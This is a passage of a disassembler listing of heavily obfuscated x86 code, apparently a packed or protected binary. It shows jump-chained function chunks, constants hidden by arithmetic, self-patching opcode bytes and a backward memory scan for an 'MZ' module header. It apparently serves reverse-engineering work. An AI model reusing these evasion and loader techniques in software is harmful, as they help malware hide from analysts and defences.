0EA4171D6h popf jp loc_423CFC ; START OF FUNCTION CHUNK FOR sub_425BD2 loc_423082: ; CODE XREF: sub_425BD2:loc_425F81j jmp loc_42476D ; END OF FUNCTION CHUNK FOR sub_425BD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_423087: ; CODE XREF: sub_4236A7+26DFj pop ebx sub ebx, 0CE90282Ch xor ebx, 6D2D7DF6h or ebx, 7773C380h jmp loc_4238EB ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42466E loc_42309F: ; CODE XREF: sub_42466E:loc_4289F8j jnz loc_425DA9 loc_4230A5: ; CODE XREF: hjohnhn9:00424693j jmp nullsub_102 ; END OF FUNCTION CHUNK FOR sub_42466E ; --------------------------------------------------------------------------- push 0F1F2C47Eh xchg ecx, ebx test ecx, 9233CFC0h jmp loc_42822C ; --------------------------------------------------------------------------- loc_4230BC: ; DATA XREF: sub_427C9B-35EAo add edx, ebp add edx, 3EA0911Dh call sub_42466E ; START OF FUNCTION CHUNK FOR sub_424631 loc_4230C9: ; CODE XREF: sub_424631+464Ej jmp loc_423180 ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4230CE: ; CODE XREF: sub_423B05:loc_424B45j jz loc_423A31 jnz loc_423505 cdq jmp loc_423A2B ; END OF FUNCTION CHUNK FOR sub_423B05 ; =============== S U B R O U T I N E ======================================= sub_4230E0 proc near ; CODE XREF: sub_4275A3:loc_426134p ; hjohnhn9:00427579j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425D9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042772C SIZE 0000001D BYTES xchg edi, [esp+0] pop edi push 7B102949h pop ebx rol ebx, 2 jmp loc_425D9E sub_4230E0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4230F2 proc near ; CODE XREF: sub_42855B:loc_427DCDj push ebp push offset sub_427BCE jmp nullsub_103 sub_4230F2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426638 loc_4230FD: ; CODE XREF: sub_426638:loc_427F5Fj xor edx, ds:4000F8h cmp edx, 51638979h jmp loc_427F44 ; END OF FUNCTION CHUNK FOR sub_426638 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4241E1 loc_42310F: ; CODE XREF: sub_4241E1+Cj jmp nullsub_120 ; END OF FUNCTION CHUNK FOR sub_4241E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423114: ; CODE XREF: sub_4250FC-3DCj mov ecx, eax pop eax or ecx, 9ED4A6B5h rol ecx, 0Ah jmp loc_427D19 ; END OF FUNCTION CHUNK FOR sub_4250FC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A30 loc_423126: ; CODE XREF: sub_426A30-2266j jmp loc_426BBA ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_42312B: ; CODE XREF: sub_424161+440j ; DATA XREF: sub_428192:loc_4247CFo pop ebp mov eax, ds:dword_423950 or eax, eax push offset sub_4248B1 jmp nullsub_35 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- adc edi, eax jmp sub_424D38 ; --------------------------------------------------------------------------- loc_423145: ; CODE XREF: hjohnhn9:00427A97j lea eax, nullsub_1 mov byte ptr [eax], 0C3h ; START OF FUNCTION CHUNK FOR sub_42325E loc_42314E: ; CODE XREF: sub_42325E:loc_425205j push ecx push 6CA47921h jmp loc_4276C0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- mov [ebp-8], eax push eax push 38908B4Ah xchg edi, [esp] jmp loc_425F6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426671 loc_42316A: ; CODE XREF: sub_426671-268Dj sub edx, 7A4EC4C0h add edx, 0AC572996h push offset loc_428C2D jmp nullsub_29 ; END OF FUNCTION CHUNK FOR sub_426671 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_423180: ; CODE XREF: sub_424631:loc_4230C9j mov eax, [ebp+8] push offset loc_426610 jmp loc_42368D ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287BF loc_42318D: ; CODE XREF: sub_4287BF-1221j jnz loc_42867B mov eax, [ebp-4] inc eax mov eax, [eax] add eax, [ebp-4] jmp loc_42866C ; END OF FUNCTION CHUNK FOR sub_4287BF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D6A loc_4231A3: ; CODE XREF: sub_427D6A+12j jmp loc_425121 ; END OF FUNCTION CHUNK FOR sub_427D6A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4275A3 loc_4231A8: ; CODE XREF: sub_4275A3-18CCj jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_4275A3 ; =============== S U B R O U T I N E ======================================= sub_4231AD proc near ; CODE XREF: hjohnhn9:004231EBj ; sub_4284CB-4843p ; FUNCTION CHUNK AT 004249DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424CEC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004265C8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004268E5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00426A62 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427555 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427FA4 SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx jz loc_427555 mov eax, [ebp-4] mov al, [eax] and al, 0F6h jmp loc_426A62 sub_4231AD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4231C3: ; CODE XREF: sub_426475+A2Cj jge loc_425B75 xor ecx, 0D2F1B6E9h jmp loc_425B6B ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_4231D4: ; CODE XREF: sub_42325E+42ECj jz loc_428EBF loc_4231DA: ; CODE XREF: hjohnhn9:00423FAFj jge loc_427D13 jmp loc_4269A0 ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- xor ecx, 61C8DFD6h jmp sub_4231AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4231F0: ; CODE XREF: sub_424161:loc_429022j or eax, 0C35DC7D7h cmp eax, 7D7341B6h jmp loc_424D68 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423D67 loc_423201: ; CODE XREF: sub_423D67-672j pop ebx xchg ebx, [esp-4+arg_0] push eax push 458343C8h pop eax and eax, 0FDA01D0Dh call sub_4265A0 ; END OF FUNCTION CHUNK FOR sub_423D67 ; START OF FUNCTION CHUNK FOR sub_426A78 loc_423217: ; CODE XREF: sub_426A78:loc_427436j jz loc_426579 jmp loc_4250D5 ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423222: ; CODE XREF: sub_423B05:loc_4238B5j test eax, eax jnz loc_4250B4 jmp loc_42862B ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42322F: ; CODE XREF: sub_42873F+17j neg eax cmp ax, 0A5B3h jnz loc_428748 retn ; END OF FUNCTION CHUNK FOR sub_42873F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_42323C: ; CODE XREF: sub_426354+16C7j ; sub_427C9B+56j jmp loc_4262EB ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426211 loc_423241: ; CODE XREF: sub_426211+16j jmp loc_4250CF ; END OF FUNCTION CHUNK FOR sub_426211 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427486 loc_423246: ; CODE XREF: sub_427486-1357j jmp loc_427921 ; END OF FUNCTION CHUNK FOR sub_427486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42873F loc_42324B: ; CODE XREF: sub_42873F:loc_428748j sub ebx, 10000h mov eax, [ebx] neg eax cmp ax, 0A5B3h jmp loc_4252D4 ; END OF FUNCTION CHUNK FOR sub_42873F ; =============== S U B R O U T I N E ======================================= sub_42325E proc near ; DATA XREF: sub_423CDB+49D8o var_18 = dword ptr -18h ; FUNCTION CHUNK AT 0042314E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004231D4 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00423283 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A82 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00423B46 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00423DF6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00423E36 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00424261 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424E6B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425205 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 004269A0 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00426DF3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426F50 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FE2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00427140 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00427535 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004276C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004276F7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427BBD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428372 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00428B46 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00428EBF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00428F20 SIZE 0000000C BYTES push eax pop ecx call sub_425D27 loc_423265: ; CODE XREF: hjohnhn9:004280F1j jmp loc_427BBD sub_42325E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D02 loc_42326A: ; CODE XREF: sub_4263E3:loc_426C9Bj ; sub_426D02+7F0j jmp loc_428DAB ; END OF FUNCTION CHUNK FOR sub_426D02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C9 loc_42326F: ; CODE XREF: sub_4235C9:loc_426FC2j ror eax, 0Eh mov ds:dword_4233A8, eax retn ; END OF FUNCTION CHUNK FOR sub_4235C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428B28 loc_423279: ; CODE XREF: sub_428B28+7j jmp sub_424877 ; END OF FUNCTION CHUNK FOR sub_428B28 ; --------------------------------------------------------------------------- loc_42327E: ; CODE XREF: hjohnhn9:00425E01j jmp loc_4242C6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42325E loc_423283: ; CODE XREF: sub_42325E+BF4j rol eax, 0Eh push eax retn ; END OF FUNCTION CHUNK FOR sub_42325E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423288: ; CODE XREF: sub_4262C5:loc_42762Dj call sub_4246DB ; END OF FUNCTION CHUNK FOR sub_4262C5 ; START OF FUNCTION CHUNK FOR sub_426A30 loc_42328D: ; CODE XREF: sub_426A30:loc_427181j add edx, 14h mov ecx, [ebx+edx-8] or ecx, ecx jz loc_4247C1 jmp loc_4288AD ; END OF FUNCTION CHUNK FOR sub_426A30 ; --------------------------------------------------------------------------- loc_4232A1: ; CODE XREF: hjohnhn9:0042777Aj mov byte ptr [ecx], 0E9h pop ecx add esi, 306850C2h xchg esi, [esp] jmp nullsub_1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_64. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4236A7 loc_4232B4: ; CODE XREF: sub_4236A7+252j mov esi, [eax] push esi push 7F1739E3h pop esi add esi, 4759A1F6h jmp loc_424F57 ; END OF FUNCTION CHUNK FOR sub_4236A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428357 loc_4232C8: ; CODE XREF: sub_428357+7j xor [ebp-8], eax call sub_4240BC locret_4232D0: ; CODE XREF: sub_423E64-4B9j retn ; END OF FUNCTION CHUNK FOR sub_428357 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4251EB loc_4232D1: ; CODE XREF: sub_4251EB+E02j push esi jl loc_426A8A not esi loc_4232DA: ; CODE XREF: sub_4251EB:loc_425FDCj and eax, 0ECD35A9h call sub_423E64 locret_4232E5: ; CODE XREF: hjohnhn9:loc_423B39j retn ; END OF FUNCTION CHUNK FOR sub_4251EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425CB3 loc_4232E6: ; CODE XREF: sub_425CB3+18j jmp loc_4240D4 ; END OF FUNCTION CHUNK FOR sub_425CB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4232EB: ; CODE XREF: sub_4265CD-677j mov edi, eax call sub_428DF9 ; END OF FUNCTION CHUNK FOR sub_4265CD ; START OF FUNCTION CHUNK FOR sub_424631 loc_4232F2: ; CODE XREF: sub_424631-122Fj jmp loc_4244BE ; END OF FUNCTION CHUNK FOR sub_424631 ; --------------------------------------------------------------------------- loc_4232F7: ; CODE XREF: hjohnhn9:loc_42500Aj jnz loc_424D12 jmp loc_4268E0 ; --------------------------------------------------------------------------- loc_423302: ; DATA XREF: hjohnhn9:loc_424089o pop esi mov [ebp-4], eax inc dword ptr [ebp-0Ch] dec dword ptr [ebp-18h] jnz loc_425BB8 jmp loc_424B6F ; --------------------------------------------------------------------------- xchg ebx, [esi] add ebp, ecx jmp sub_428CE7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42855B loc_423320: ; CODE XREF: sub_42855B-2316j push ecx mov esp, ebp pop ebp mov eax, ds:dword_428B08 jmp loc_427707 ; END OF FUNCTION CHUNK FOR sub_42855B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42332F: ; CODE XREF: sub_428183:loc_428B11j pop eax cmp dword ptr [eax], 0 jnz loc_424EAA jmp sub_427C43 ; --------------------------------------------------------------------------- loc_42333E: ; CODE XREF: sub_428183:loc_424EAAj push eax push 0 call sub_428192 push offset sub_428183 jmp loc_42335C ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423350: ; CODE XREF: sub_426354:loc_423451j jz loc_427951 jmp loc_4238BA ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- locret_42335B: ; CODE XREF: hjohnhn9:loc_4290E4j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428183 loc_42335C: ; CODE XREF: sub_428183-4E38j jmp sub_4264AC ; END OF FUNCTION CHUNK FOR sub_428183 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_423361: ; CODE XREF: sub_4250FC:loc_4268E0j shl edi, 1Eh jmp loc_424D11 ; END OF FUNCTION CHUNK FOR sub_4250FC ; =============== S U B R O U T I N E ======================================= sub_423369 proc near ; CODE XREF: hjohnhn9:0042651Ej ; sub_427564p arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00423BE7 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax call sub_427363 push ecx mov ecx, [esp+arg_C] mov dword ptr [ecx], 10001h lea eax, loc_423BFB jmp loc_423BE7 sub_423369 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423BC3 loc_423388: ; CODE XREF: sub_423BC3:loc_42713Aj call sub_426638 pop es aad 0D7h ; END OF FUNCTION CHUNK FOR sub_423BC3 ; --------------------------------------------------------------------------- dword_423390 dd 3628EFCEh ; DATA XREF: sub_424698+C5r ; sub_427C9B+1174w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424819 loc_423394: ; CODE XREF: sub_424819+1C8Ej jmp loc_424967 ; END OF FUNCTION CHUNK FOR sub_424819 ; --------------------------------------------------------------------------- db 0E2h, 7Ah, 0FEh dword_42339C dd 6E65DF9Ch ; DATA XREF: sub_4263E3r sub_427FDD+4w dword_4233A0 dd 34EFCC2Dh ; DATA XREF: sub_426708:loc_4261BCr ; sub_426AF6+7w dword_4233A4 dd 0E8265DF9h ; DATA XREF: sub_426DFB-3960w ; sub_4237F4+45DFr dword_4233A8 dd 59BDDF9Ch ; DATA XREF: sub_4235C9-357w dword_4233AC dd 736A377Eh, 16D2E9h, 0A6610D00h, 88EFCFEh, 1191E9h, 33E8100h ; DATA XREF: hjohnhn9:00425CE0w ; hjohnhn9:00427E32r dword_4233C4 dd 0 ; DATA XREF: sub_428477:loc_4239D3w ; sub_424A28:loc_424824r ... ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426A78 loc_4233C8: ; CODE XREF: sub_426A78-4E6j jmp loc_4276FC ; END OF FUNCTION CHUNK FOR sub_426A78 ; --------------------------------------------------------------------------- push eax jmp sub_427E85 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426924 loc_4233D3: ; CODE XREF: sub_426924+6j mov [ebp+var_20], eax mov eax, [ebp+var_20] mov [ebp+var_28], eax call sub_4269BD ; END OF FUNCTION CHUNK FOR sub_426924 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_4233E1: ; CODE XREF: sub_423B05+5299j jmp loc_427A44 ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4237F4 loc_4233E6: ; CODE XREF: sub_4237F4:loc_4243EDj or dword ptr [eax-8], 4 mov eax, [ebp+var_4] movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] jmp loc_424C46 ; END OF FUNCTION CHUNK FOR sub_4237F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424631 loc_4233F8: ; CODE XREF: sub_424631:loc_426894j cmp dword ptr [ebp-14h], 4 jnz loc_424F28 jmp loc_4232F2 ; END OF FUNCTION CHUNK FOR sub_424631 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_95. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_423408: ; CODE XREF: hjohnhn9:0042455Fj jmp loc_4239B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4278B9 loc_42340D: ; CODE XREF: sub_4278B9:loc_423948j call sub_423425 mov [ebp-4], eax loc_423415: ; CODE XREF: sub_427E85-3CEBj ; sub_427463+Dj ... mov eax, [ebp-1Ch] call sub_427F90 mov [ebp-8], eax jmp loc_4282CE ; END OF FUNCTION CHUNK FOR sub_4278B9 ; =============== S U B R O U T I N E ======================================= sub_423425 proc near ; CODE XREF: sub_4278B9:loc_42340Dp ; sub_426CC8+4p ... ; FUNCTION CHUNK AT 004278D7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282D8 SIZE 0000000B BYTES jns sub_428477 push ebp mov ebp, esp jmp loc_4278D7 sub_423425 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_423433: ; CODE XREF: sub_427C9B:loc_427E76j jz loc_427C63 cmp eax, 3B5A44D1h jmp loc_424496 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= sub_423444 proc near ; DATA XREF: sub_4275F9+16o ; FUNCTION CHUNK AT 004270EE SIZE 00000013 BYTES call sub_42345B jmp loc_4270EE sub_423444 endp ; --------------------------------------------------------------------------- loc_42344E: ; CODE XREF: hjohnhn9:loc_428440j pop ecx pop ebp retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426354 loc_423451: ; CODE XREF: sub_426354+1767j jmp loc_423350 ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425F3F loc_423456: ; CODE XREF: sub_425F3F+9j jmp loc_4244EE ; END OF FUNCTION CHUNK FOR sub_425F3F ; =============== S U B R O U T I N E ======================================= sub_42345B proc near ; CODE XREF: sub_423444p ; sub_424161:loc_424521j ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00424145 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004243BD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426B55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426FCF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042827F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00428522 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00428892 SIZE 0000001B BYTES push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] jmp loc_426FCF sub_42345B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262C5 loc_423466: ; CODE XREF: sub_4262C5:loc_424ADEj mov al, [eax] mov [ebp-9], al push offset sub_428D64 jmp loc_4251E6 ; END OF FUNCTION CHUNK FOR sub_4262C5 ; --------------------------------------------------------------------------- mov eax, [ebp-4] jns loc_42410C push esi push 3EE8867Dh pop esi rol esi, 10h xor esi, 867D3EC0h add eax, esi jmp loc_424089 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DFB loc_423495: ; CODE XREF: sub_426DFB:loc_4234A2j xchg ebp, [esp+0] ror eax, 12h mov ds:dword_4233A4, eax retn ; --------------------------------------------------------------------------- loc_4234A2: ; CODE XREF: sub_426DFB:loc_426E02j jmp loc_423495 ; END OF FUNCTION CHUNK FOR sub_426DFB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4250FC loc_4234A7: ; CODE XREF: sub_4250FC+15j jmp loc_426912 ; END OF FUNCTION CHUNK FOR sub_4250FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240BC loc_4234AC: ; CODE XREF: sub_4240BC+13j jmp nullsub_6 ; END OF FUNCTION CHUNK FOR sub_4240BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424161 loc_4234B1: ; CODE XREF: sub_424161:loc_4279DEj push eax push 0EB0820C5h pop eax and eax, 6CD12092h jmp loc_429022 ; END OF FUNCTION CHUNK FOR sub_424161 ; --------------------------------------------------------------------------- loc_4234C3: ; CODE XREF: hjohnhn9:0042798Fj push ebp cdq jmp loc_42750E ; =============== S U B R O U T I N E ======================================= sub_4234CA proc near ; CODE XREF: sub_427B51+62Dj push ebp mov eax, [ebp-20h] call sub_424A78 sub_4234CA endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_423FB9 loc_4234D3: ; CODE XREF: sub_423FB9+Fj ; sub_4260BD-201Aj jmp nullsub_5 ; END OF FUNCTION CHUNK FOR sub_423FB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426475 loc_4234D8: ; CODE XREF: sub_426475:loc_423027j call sub_4260BD mov ebx, eax call sub_424AAE xor ebx, eax mov [ebp-0Ch], ebx push eax mov eax, ecx jmp loc_425E69 ; END OF FUNCTION CHUNK FOR sub_426475 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426D17 loc_4234F1: ; CODE XREF: sub_426D17+13j mov ds:dword_425AE8, eax call sub_424877 mov edx, 0A2CD59D9h call sub_427C53 ; END OF FUNCTION CHUNK FOR sub_426D17 ; START OF FUNCTION CHUNK FOR sub_423B05 loc_423505: ; CODE XREF: sub_423B05-A31j mov ds:dword_4252D0, eax retn ; END OF FUNCTION CHUNK FOR sub_423B05 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428271 loc_42350B: ; CODE XREF: sub_428271-41FBj jmp loc_4280F6 ; END OF FUNCTION CHUNK FOR sub_428271 ; --------------------------------------------------------------------------- jmp loc_428050 ; --------------------------------------------------------------------------- loc_423515: ; CODE XREF: hjohnhn9:00425DD3j call sub_424877 jmp loc_4237EF ; =============== S U B R O U T I N E ======================================= sub_42351F proc near ; CODE XREF: sub_425EA9-16A2p ; FUNCTION CHUNK AT 00425D42 SIZE 00000005 BYTES push ebx push ecx push offset loc_424904 jmp loc_425D42 sub_42351F endp ; --------------------------------------------------------------------------- loc_42352B: ; CODE XREF: hjohnhn9:00427AB0j cdq pop esi ; START OF FUNCTION CHUNK FOR sub_4265CD loc_42352D: ; CODE XREF: sub_4265CD:loc_427A9Cj add eax, 8D6353E5h loc_423533: ; CODE XREF: hjohnhn9:loc_428F2Cj mov eax, [eax] or eax, eax jnz loc_425F4D jmp loc_424449 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423542: ; CODE XREF: hjohnhn9:004245B5j jnb loc_4238C1 ; =============== S U B R O U T I N E ======================================= sub_423548 proc near ; CODE XREF: sub_424631+3344p xchg ecx, [esp+0] pop ecx call sub_424A28 loc_423551: ; CODE XREF: sub_4262C5:loc_423C0Dj jmp loc_427569 sub_423548 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_423556: ; CODE XREF: hjohnhn9:00425B9Dj or edi, 0E6A75A88h ; =============== S U B R O U T I N E ======================================= sub_42355C proc near ; CODE XREF: sub_4266B5:loc_424913p ; FUNCTION CHUNK AT 00424E9F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425C18 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00425C40 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00425E06 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042607D SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0042743B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428542 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi push 0A97A0725h pop eax xor eax, 0B4A5B546h jmp loc_42743B sub_42355C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427345 loc_423571: ; CODE XREF: sub_427345:loc_42742Cj pop ecx add esi, 0D0CC96EAh and esi, 0DA1BA739h xor esi, 0D81BA029h xchg esi, [esp-4+arg_0] push offset sub_4240AE jmp loc_424FE8 ; END OF FUNCTION CHUNK FOR sub_427345 ; --------------------------------------------------------------------------- loc_423591: ; CODE XREF: hjohnhn9:loc_425B52j and eax, edx jmp loc_428DA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F0B loc_423598: ; CODE XREF: sub_428F0B+6j mov ebp, esp push ecx mov esp, ebp pop ebp push offset sub_4263E3 jmp nullsub_123 ; END OF FUNCTION CHUNK FOR sub_428F0B ; --------------------------------------------------------------------------- mov eax, [ebp+0] jmp loc_4244FA ; --------------------------------------------------------------------------- loc_4235B0: ; DATA XREF: sub_423B6C+30CBo mov eax, [ebp+8] test byte ptr [eax-7], 10h jz loc_427A6C inc dword ptr [ebp-8] ; START OF FUNCTION CHUNK FOR sub_426BD2 loc_4235C0: ; CODE XREF: sub_426BD2+8j ; sub_427B7A:loc_42856Cj mov eax, [ebp-8] pop ecx loc_4235C4: ; CODE XREF: hjohnhn9:loc_423977j jmp loc_427A69 ; END OF FUNCTION CHUNK FOR sub_426BD2 ; =============== S U B R O U T I N E ======================================= sub_4235C9 proc near ; CODE XREF: hjohnhn9:00427871j ; hjohnhn9:00428C3Ap ; FUNCTION CHUNK AT 0042326F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00426FC2 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push edi mov edi, eax xchg edi, [esp+0] jmp loc_426FC2 sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_4235D8 proc near ; CODE XREF: hjohnhn9:00423C51p ; hjohnhn9:00427068j ; FUNCTION CHUNK AT 00427EA6 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi mov ds:dword_423944, eax xor eax, eax jmp loc_427EA6 sub_4235D8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov edx, 17B3C1CFh push ebp mov ebp, eax ; START OF FUNCTION CHUNK FOR sub_4265CD loc_4235F0: ; CODE XREF: sub_4265CD:loc_425D6Fj xchg ebp, [esp+0] push 9622C161h pop eax xor eax, 94EB5D2Ah jmp loc_428576 ; END OF FUNCTION CHUNK FOR sub_4265CD ; --------------------------------------------------------------------------- loc_423604: ; CODE XREF: hjohnhn9:004290ECj jg loc_428892 pop ebx jmp sub_42859A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428788 loc_423610: ; CODE XREF: sub_428788+18j call sub_4244F5 mov esp, ebp pop ebp push ds:dword_423954 retn 